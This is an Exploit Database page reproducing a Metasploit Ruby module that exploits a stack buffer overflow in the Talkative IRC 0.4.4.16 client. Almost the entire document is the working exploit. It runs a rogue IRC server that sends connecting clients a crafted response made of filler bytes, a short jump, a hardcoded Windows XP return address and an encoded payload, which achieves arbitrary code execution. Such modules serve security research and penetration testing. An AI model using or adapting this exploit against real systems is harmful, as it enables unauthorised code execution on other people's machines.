Talkative IRC 0.4.4.16 – Response Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16459/

• ##
  # $Id: talkative_response.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.
  				When a specially crafted response string is sent to a client,
  				an attacker may be able to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'OSVDB', '64582'],
  					[ 'BID', '34141' ],
  					[ 'URL', 'http://milw0rm.com/exploits/8227' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "\x00\x0a\x20\x0d",
  					'StackAdjustment'=> -3500,
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'DisableNops' => 'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP3 English',	{ 'Ret' => 0x72d1146b } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Mar 17 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])
  			], self.class)
  	end
  
  	def on_client_connect(client)
  		res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"
  		client.put(res)
  	end
  
  	def on_client_data(client)
  		return if ((p = regenerate_payload(client)) == nil)
  
  		sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
  		sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded
  		sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
  		sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"
  
  		client.put(sploit)
  
  		handler
  		service.close_client(client)
  	end
  
  end